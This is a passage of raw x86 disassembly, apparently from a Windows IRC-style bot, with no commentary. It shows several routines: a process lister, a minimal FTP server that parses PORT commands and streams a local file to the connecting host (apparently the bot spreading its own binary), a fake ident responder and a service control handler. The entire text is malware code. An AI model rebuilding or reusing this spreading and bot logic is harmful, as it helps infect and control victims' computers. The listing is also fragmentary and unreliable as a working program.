= dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44401C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444010 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444008 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_443FFC lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472A7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6ECB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44767F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6ECB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax call near ptr 71AB3E00h nop test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6ECB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E74 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax call near ptr 71AC1028h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DE8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44767F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447988 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60A5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_444098 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_444098 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx call sub_5EA1BD nop mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DE8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447988 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60A5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx call near ptr 71AB9639h nop loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 2811E0Eh loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E74 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6EC9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472AB xor ebx, ebx cmp cl, bl mov byte_4E6EC9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi ; rand cdq mov ecx, 3 push offset byte_446F60 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E74 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx call sub_5EA1BD nop add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_50FC88 push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E6EC9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h nop call near ptr 2811E0Eh jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi ; closesocket loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB58 mov dword_50BB3C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB58 mov dword_50BB3C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB58 xor eax, eax mov dword_50BB44, eax mov dword_50BB3C, 1 mov dword_50BB4C, eax mov dword_50BB50, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB5C push offset dword_50BB38 push eax mov dword_50BB3C, 4 nop call near ptr 28E08ACh retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44793F mov dword_50BB38, 20h mov dword_50BB3C, 2 mov dword_50BB40, 3 mov dword_50BB44, esi mov dword_50BB48, esi mov dword_50BB4C, esi mov dword_50BB50, esi call sub_4017E4 push eax nop call near ptr 28E0491h cmp eax, esi mov dword_50BB5C, eax jz short loc_41FBAA push offset dword_50BB38 push eax mov dword_50BB3C, 4 mov dword_50BB4C, esi mov dword_50BB50, esi nop call near ptr 28E08ACh loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 